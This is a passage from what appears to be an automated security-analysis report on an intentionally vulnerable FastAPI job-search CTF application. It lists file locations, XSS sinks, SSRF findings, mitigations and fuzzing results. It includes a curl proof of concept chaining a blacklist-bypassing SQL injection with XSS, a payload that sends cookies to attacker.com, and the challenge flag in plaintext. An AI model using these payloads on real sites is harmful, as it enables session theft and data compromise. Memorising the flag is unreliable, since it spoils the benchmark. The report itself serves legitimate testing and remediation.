3. Builds image from `tiangolo/uvicorn-gunicorn-fastapi:python3.9` base
4. Copies all files to `/app/` in container
5. Runs `sed` to replace FLAG placeholder in `flag.txt`
6. Exposes port 80 internally, mapped to 8000 externally

**Application Structure:**

The Python application (`main.py`) is a **single-file monolith** with no modular separation of concerns. The 74 lines are organized as:

- **Lines 1-5:** Imports (json, fastapi, sqlite3)
- **Line 7:** FastAPI app instantiation
- **Lines 10-13:** Database connection function
- **Lines 16-36:** Startup event handler (database initialization, flag loading)
- **Lines 39-61:** POST /jobs endpoint (VULNERABLE - SQL injection)
- **Lines 64-66:** GET /ping endpoint (health check)
- **Lines 69-72:** GET / endpoint (serves frontend)

**Code Quality Issues:**
- No separation of routes, database logic, and business logic
- No configuration management (hardcoded values)
- No error handling or exception management
- No logging beyond default Uvicorn output
- No input validation beyond weak blacklist filter
- No testing infrastructure (no test files detected)

**Frontend Structure:**

The HTML frontend (`static/index.html`) is a **single-page vanilla JavaScript application** with no build process, no transpilation, and no bundling. It uses Bootstrap 4.5.2 loaded from CDN and implements a simple job search form.

**Frontend Components:**
- Bootstrap CSS framework (CDN-loaded)
- Vanilla JavaScript (no React, Vue, Angular)
- Direct fetch() API calls to `/jobs` endpoint
- Client-side rendering via template literals and innerHTML (XSS vulnerable)

### Discoverability Impact

The minimal codebase structure creates both **advantages and risks** for security analysis:

**Advantages:**
- Small attack surface (only 3 endpoints)
- Easy to audit (74 lines of Python)
- No complex framework abstractions
- Clear vulnerability identification

**Disadvantages:**
- No code organization prevents security boundary enforcement
- No separation of concerns makes secure refactoring difficult
- Monolithic structure means single vulnerability compromises entire application
- No testing infrastructure means security regressions undetected

**Security-Relevant File Discovery:**

The flat structure makes critical security files immediately discoverable:
- **Secrets:** `.env` file in root (should be gitignored but isn't)
- **Application Logic:** Single `main.py` file (no need to trace through modules)
- **Database:** `test.db` created at `/app/test.db` in container
- **Flag Storage:** `flag.txt` template and database `jobs` table

This discoverability is **intentional for CTF purposes** but would be catastrophic in production. The lack of code organization means no "security through obscurity" layer (though that's not a valid security control anyway).

### Build and Testing Infrastructure

**Build Tools:**
- **Docker:** Container image building
- **Docker Compose:** Service orchestration
- **Makefile:** Build automation (delegates to external common.mk)

**Notable Absence - No Testing:**
- No pytest or unittest imports
- No `tests/` directory
- No test fixtures or factories
- No CI/CD configuration (no GitHub Actions, no .gitlab-ci.yml)
- No pre-commit hooks
- No static analysis tools (no Bandit, mypy, pylint)

**Security Implications:**
Without a test suite, security regressions cannot be caught automatically. Changes to the SQL injection filter or access control logic would not be validated against security test cases. This is acceptable for a CTF challenge but unacceptable for production software.

---

## 8. Critical File Paths

### Configuration Files
- `/.env` - Environment variables (contains FLAG in plaintext)
- `/docker-compose.yml` - Container orchestration and port mapping
- `/app/Dockerfile` - Container build definition with FLAG injection
- `/Makefile` - Build automation
- `/benchmark.json` - CTF challenge metadata

### Authentication & Authorization
**Note:** No authentication or authorization infrastructure exists. The only access control attempt:
- `/app/main.py` (lines 45-47) - Weak "premium" type check (bypassable)

### API & Routing
- `/app/main.py` (lines 39-72) - All API endpoints (GET /, GET /ping, POST /jobs)
- `/outputs/schemas/openapi_fastapi.json` - Auto-generated OpenAPI 3.1.0 schema

### Data Models & DB Interaction
- `/app/main.py` (lines 10-13) - Database connection function
- `/app/main.py` (lines 22-27) - Database schema definition (CREATE TABLE)
- `/app/main.py` (line 53) - **VULNERABLE SQL query construction**
- `/app/test.db` - SQLite database file (created at runtime in container)

### Dependency Manifests
**Note:** No explicit dependency manifests (requirements.txt, Pipfile, poetry.lock). Dependencies inherited from base Docker image:
- Base image: `tiangolo/uvicorn-gunicorn-fastapi:python3.9`
- Implicit dependencies: fastapi==0.116.0, uvicorn==0.35.0, starlette==0.46.2, pydantic==2.12.3

### Sensitive Data & Secrets Handling
- `/.env` (line 1) - FLAG definition in plaintext
- `/app/flag.txt` - FLAG placeholder (replaced at build time)
- `/app/main.py` (lines 18-19) - FLAG file reading at startup
- `/app/main.py` (line 33) - FLAG insertion into database
- `/app/Dockerfile` (lines 6-8) - Build-time FLAG injection via sed

### Middleware & Input Validation
- `/app/main.py` (lines 49-50) - Weak blacklist input filter (SQL injection bypass)
- **Note:** No middleware configured (no CORS, no rate limiting, no security headers)

### Logging & Monitoring
**Note:** No custom logging implementation. Only default Uvicorn access logs.
- No dedicated logging configuration files
- No log aggregation or monitoring setup

### Infrastructure & Deployment
- `/app/Dockerfile` - Application container definition
- `/docker-compose.yml` - Service orchestration with health check
- **Note:** No Kubernetes manifests, no Nginx configuration, no reverse proxy, no infrastructure-as-code (Terraform/Pulumi)

### Frontend & Static Assets
- `/app/static/index.html` (lines 63-82) - **VULNERABLE XSS sinks via innerHTML**
- `/app/static/index.html` (line 9) - Bootstrap CDN dependency (no SRI)

### CTF Flag Storage (Challenge-Specific)
- `/.env` (line 1) - `FLAG="flag{582d82bb-2c1f-4ba5-9357-e8b94217957f}"`
- `/app/flag.txt` - FLAG template file
- `/app/Dockerfile` (line 8) - `RUN sed -i s/FLAG/$FLAG/g flag.txt`
- `/app/main.py` (line 18) - FLAG read: `with open("flag.txt") as f: flag = f.read()`
- `/app/main.py` (line 33) - FLAG in DB: `f'("Executive Position", "premium", "{flag}")'`
- SQLite database location: `/app/test.db` (runtime, in container)
- Database table: `jobs`, column: `description`, row with `type='premium'`

---

## 9. XSS Sinks and Render Contexts

**Network Surface Focus:** All XSS sinks reported are in the network-accessible web application frontend served at `GET /`. No local-only or build tool sinks are included.

### Critical Finding: Stored XSS via SQL Injection Chain

**Severity:** CRITICAL (CVSS 9.0+)  
**Attack Type:** Stored/Persistent Cross-Site Scripting  
**Attack Vector:** SQL Injection enables XSS payload injection into database

### Primary XSS Sink - innerHTML (HTML Body Context)

**File Path:** `/app/static/index.html`  
**Line Number:** 74  
**Render Context:** HTML Body Context

**Vulnerable Code:**
```javascript
resultDiv.innerHTML = jobsTable;
```

**Full Context (Lines 63-74):**
```javascript
data.forEach(user => {
    jobsTable += `
        <tr>
            <td>${user.id}</td>
            <td>${user.name}</td>
            <td>${user.type}</td>
            <td>${user.description}</td>
        </tr>
    `;
});
jobsTable += '</tbody></table>';
resultDiv.innerHTML = jobsTable;  // ← XSS SINK
```

**User Input Source:** Database response from POST `/jobs` endpoint

**Data Flow:**
1. User sends POST `/jobs` with malicious `job_type` parameter
2. Backend executes SQL injection (vulnerable query at `main.py:53`)
3. Attacker injects XSS payload into database via UNION-based SQL injection
4. Database returns malicious data in `name`, `type`, or `description` fields
5. Frontend receives JSON response with XSS payload
6. JavaScript builds HTML string using template literals with `${user.description}`
7. **SINK:** `resultDiv.innerHTML = jobsTable` renders unescaped HTML
8. XSS payload executes in victim's browser

**Exploitability:** HIGHLY EXPLOITABLE

**Proof of Concept Attack:**
```bash
# Step 1: Inject XSS payload via SQL injection
curl -X POST http://localhost:8000/jobs \
  -H "Content-Type: application/json" \
  -d '{"job_type": "\" UNUNIONION SELSELECTECT 1,'\''<img src=x onerror=alert(document.cookie)>'\''as name,'\''xss'\''as type,'\''payload'\''as description--"}'

# Step 2: Victim visits the application and searches for jobs
# The XSS payload executes automatically when results are rendered
```

**Impact:**
- **Session Hijacking:** Steal authentication cookies (if implemented)
- **Credential Theft:** Inject fake login forms
- **Keylogging:** Capture user input via event listeners
- **Malware Distribution:** Redirect to malicious sites
- **Persistent Attack:** XSS payload stored in database affects all users
- **CTF Context:** Exfiltrate flag to attacker-controlled server

**Bypass Example - Nested Keywords:**
```json
{
  "job_type": "' UNUNIONION SELSELECTECT 1,'<svg/onload=fetch(\"//attacker.com?c=\"+document.cookie)>','xss','payload'--"
}
```

After blacklist filter processes this:
- `UNUNIONION` → removes `UNION` → leaves `UNION`
- `SELSELECTECT` → removes `SELECT` → leaves `SELECT`
- Result: Valid SQL injection with XSS payload

### Secondary XSS Sink - Error Message (HTML Body Context)

**File Path:** `/app/static/index.html`  
**Line Numbers:** 78-82  
**Render Context:** HTML Body Context

**Vulnerable Code:**
```javascript
resultDiv.innerHTML = `
    <div class="alert alert-danger" role="alert">
        Error: ${errorData.detail}
    </div>
`;
```

**User Input Source:** Server error response (`errorData.detail`)

**Exploitability:** POTENTIALLY EXPLOITABLE

**Current Risk:** LOW (server returns static error messages)  
**Future Risk:** HIGH (if error messages ever echo user input)

**Current Implementation:** `/app/main.py:47`
```python
return HTMLResponse(content=json.dumps({"detail": "Access denied"}), status_code=403)
```

The error message is currently static (`"Access denied"`). However, if future code changes cause FastAPI to echo user input in error responses (e.g., validation errors with user data), this sink becomes exploitable.

**Recommended Fix:** Use `textContent` instead of `innerHTML` for error messages, or implement HTML encoding.

### Additional innerHTML Sinks (Low/No Risk)

**Line 49 - Static Content:**
```javascript
resultDiv.innerHTML = '<div class="alert alert-warning" role="alert">No jobs found</div>';
```
**Risk:** None (static string, no user input)

**Line 36 - Clear Operation:**
```javascript
resultDiv.innerHTML = '';
```
**Risk:** None (empty string)

### XSS Sink Summary Table

| Line | Sink Code | Context | Data Source | Exploitable | Severity |
|------|-----------|---------|-------------|-------------|----------|
| 74 | `resultDiv.innerHTML = jobsTable` | HTML Body | Database response (SQL injection) | **YES** | **CRITICAL** |
| 78-82 | `resultDiv.innerHTML = alert HTML` | HTML Body | Error response (`errorData.detail`) | **MAYBE** | **HIGH** |
| 49 | `resultDiv.innerHTML = static string` | HTML Body | Static string | NO | Low |
| 36 | `resultDiv.innerHTML = ''` | HTML Body | Empty string | NO | None |

### Render Context Analysis

**HTML Body Context (All Sinks):**

All identified XSS sinks operate in the **HTML Body Context**, where content is rendered as HTML markup. This is the most common and dangerous XSS context because:

- **No automatic escaping:** JavaScript template literals (`${variable}`) do not HTML-encode by default
- **innerHTML interprets HTML:** Unlike `textContent`, `innerHTML` parses and renders HTML tags
- **Full XSS payload execution:** Attackers can inject `<script>`, `<img onerror>`, `<svg onload>`, event handlers, etc.

**Mitigation Requirements for HTML Body Context:**
1. **HTML encode all dynamic content:** Convert `<` to `&lt;`, `>` to `&gt;`, `"` to `&quot;`, etc.
2. **Use textContent instead of innerHTML:** `resultDiv.textContent = jobsTable` (but this doesn't render the table structure)
3. **Use DOM manipulation methods:** `createElement()`, `appendChild()`, `setAttribute()`
4. **Implement DOMPurify:** Sanitize HTML before rendering with a trusted library
5. **Content Security Policy:** Add CSP headers to prevent inline script execution

### No Other XSS Contexts Detected

**JavaScript Context:** No `eval()`, `Function()`, `setTimeout(string)`, `setInterval(string)` detected  
**URL Context:** No `location.href = userInput`, `window.open(userInput)` detected  
**CSS Context:** No `element.style = userInput` detected  
**Attribute Context:** No dynamic event handler assignment detected  
**DOM-based XSS:** No URL parameter processing or `location.hash` manipulation

### Recommended Mitigations

**Immediate Fix (Line 74):**
```javascript
// Option 1: Use createElement (safest)
data.forEach(user => {
    const tr = document.createElement('tr');
    ['id', 'name', 'type', 'description'].forEach(field => {
        const td = document.createElement('td');
        td.textContent = user[field];  // textContent prevents XSS
        tr.appendChild(td);
    });
    tableBody.appendChild(tr);
});

// Option 2: HTML encode before innerHTML
function escapeHtml(text) {
    const div = document.createElement('div');
    div.textContent = text;
    return div.innerHTML;
}
jobsTable += `<td>${escapeHtml(user.description)}</td>`;

// Option 3: Use DOMPurify library
resultDiv.innerHTML = DOMPurify.sanitize(jobsTable);
```

**Defense in Depth:**
1. **Fix SQL injection** (prevents XSS payload injection into database)
2. **Add Content Security Policy:** `Content-Security-Policy: default-src 'self'; script-src 'self'`
3. **Implement input validation:** Whitelist job_type values
4. **Add output encoding:** Encode all database content before rendering

---

## 10. SSRF Sinks

**Network Surface Focus:** Only network-accessible components analyzed. No local-only utilities, build scripts, or CLI tools included.

### Finding: No SSRF Sinks Detected

After comprehensive analysis of the XBEN-006-24 application, **no Server-Side Request Forgery (SSRF) vulnerabilities** were identified in network-accessible components.

**Application Architecture:** The application is a database-centric web service with **zero outbound HTTP request functionality**. All operations are local database queries with no external API calls, webhook handlers, or URL fetching mechanisms.

### Analysis Conducted

**HTTP Client Libraries:** ❌ NOT FOUND
- No `requests` library (Python's most common HTTP client)
- No `urllib`, `urllib3`, `httplib`, `http.client`
- No `aiohttp`, `httpx`, or async HTTP clients
- No `curl` or `wget` subprocess calls

**Socket Operations:** ❌ NOT FOUND
- No `socket.connect` or raw socket usage
- No TCP/UDP client implementations
- No network-level operations beyond SQLite database access

**URL Operations:** ❌ NOT FOUND
- No `urlopen` or URL parsing with fetch
- No `file_get_contents` equivalent
- Client-side JavaScript uses `fetch()` to call internal `/jobs` endpoint only (not server-side)

**Webhook/Callback Handlers:** ❌ NOT FOUND
- `/ping` endpoint returns static JSON (no external requests)
- No webhook delivery mechanisms
- No callback verification endpoints

**External Integrations:** ❌ NOT FOUND
- No OAuth/OIDC client implementations (no token endpoint fetching)
- No JWKS fetching for JWT verification
- No payment gateway integrations
- No third-party API clients

**Media Processors:** ❌ NOT FOUND
- No ImageMagick, FFmpeg, or media manipulation libraries
- No Puppeteer, Playwright, or headless browser usage
- No PDF generators with URL support

**Link Unfurlers:** ❌ NOT FOUND
- No oEmbed endpoint fetching
- No URL metadata extraction
- No link preview generation

**File Inclusion:** ⚠️ LOCAL ONLY
```python
# /app/main.py:18
with open("flag.txt") as f:
    flag = f.read()

# /app/main.py:70
with open("static/index.html") as f:
    return HTMLResponse(content=f.read(), status_code=200)
```

**Analysis:** Both file operations use **hardcoded paths** with no user input. No possibility for user-controlled file inclusion or path traversal leading to SSRF.

### Endpoint-by-Endpoint SSRF Analysis

**POST /jobs (lines 39-61):**
- Accepts `job_type` parameter
- Executes local SQLite query only
- **No outbound requests:** Vulnerable to SQL injection but not SSRF
- **Verdict:** Not an SSRF sink

**GET /ping (lines 64-66):**
- Returns static JSON `{"ping": "pong"}`
- No user input processed
- **No outbound requests**
- **Verdict:** Not an SSRF sink

**GET / (lines 69-72):**
- Serves static HTML from hardcoded path
- No user input
- **No outbound requests**
- **Verdict:** Not an SSRF sink

### Why No SSRF Attack Surface Exists

The application's minimal functionality creates **zero SSRF attack surface** because:

1. **No HTTP client dependencies:** The application doesn't import or use any libraries capable of making outbound HTTP requests
2. **No URL processing:** No code accepts URLs from users or processes URL parameters
3. **Database-only operations:** All functionality revolves around local SQLite queries
4. **Static file serving:** HTML and flag files are read from hardcoded filesystem paths
5. **No external service integration:** No webhooks, APIs, OAuth providers, or third-party services

### Related Security Notes (Out of Scope for SSRF)

While analyzing for SSRF, the following vulnerabilities were confirmed:

**SQL Injection (In Scope - Different Vulnerability Class):**
- **Location:** `/app/main.py:53`
- **Impact:** Database compromise, flag extraction
- **Not SSRF:** No server-side requests involved

**Local File Read (Not SSRF):**
- **Location:** `/app/main.py:18` (flag.txt), `main.py:70` (index.html)
- **Impact:** Reads local files only with hardcoded paths
- **Not SSRF:** No network requests, no user-controlled paths

**Frontend fetch() to /jobs (Not Server-Side):**
- **Location:** `/app/static/index.html:38`
```javascript
fetch('/jobs', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({job_type: jobType})
})
```
- **Analysis:** This is client-side JavaScript making requests to the application's own API
- **Not SSRF:** Client-side request, not server-side request forgery

### Conclusion

**SSRF Risk:** NONE  
**Network-Accessible SSRF Sinks:** 0  
**Outbound Request Functionality:** NOT IMPLEMENTED

The XBEN-006-24 application has **no SSRF attack surface** in its network-accessible components. The application architecture is entirely focused on local database operations with no outbound network communication capability.

---

**End of Code Analysis Report**

This comprehensive security analysis identifies **critical vulnerabilities** (SQL Injection, Stored XSS, authentication absence) requiring immediate remediation. The application is intentionally insecure as a CTF challenge and must not be deployed in production environments without complete security overhaul.

## Authenticated Scans

### SCHEMATHESIS
Status: success
Schema: openapi_fastapi.json
Error: Schemathesis v4.1.4
━━━━━━━━━━━━━━━━━━━


 ✅  Loaded specification from                                                  
 /Users/khaushik/keygraph/pentest/shannon/repos/XBEN-006-24/outputs/schemas/ope 
 napi_fastapi.json (in 0.26s)                                                   

     Base URL:         http://localhost:8000                                    
     Specification:    Open API 3.1.0                                           
     Operations:       3 selected / 3 total                                     


 ✅  API capabilities:                                                          

     Supports NULL byte in headers:    ✘                                        

 ⏭   Examples (in 0.11s)                                                        
                                                                                
     ⏭  3 skipped                                                               

 ❌  Coverage (in 0.29s)                                                        
                                                                                
     ✅ 2 passed  ❌ 1 failed                                                   

 ❌  Fuzzing (in 0.15s)                                                         
                                                                                
     ✅ 2 passed  ❌ 1 failed                                                   

=================================== FAILURES ===================================
__________________________________ POST /jobs __________________________________
1. Test Case ID: Xa4tlh

- Server error

- Undocumented HTTP status code

    Received: 500
    Documented: 200

[500] Internal Server Error:

    `Internal Server Error`

Reproduce with: 

    curl -X POST http://localhost:8000/jobs

=================================== SUMMARY ====================================

API Operations:
  Selected: 3/3
  Tested: 3

Test Phases:
  ⏭  Examples
  ❌ Coverage
  ❌ Fuzzing
  ⏭  Stateful (not applicable)

Failures:
  ❌ Server error: 1
  ❌ Undocumented HTTP status code: 1

Test cases:
  24 generated, 1 found 2 unique failures

Seed: 74651843877406166063995401789138080968

============================= 2 failures in 0.57s ==============================


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Report generated at: 2025-10-31T07:52:12.560Z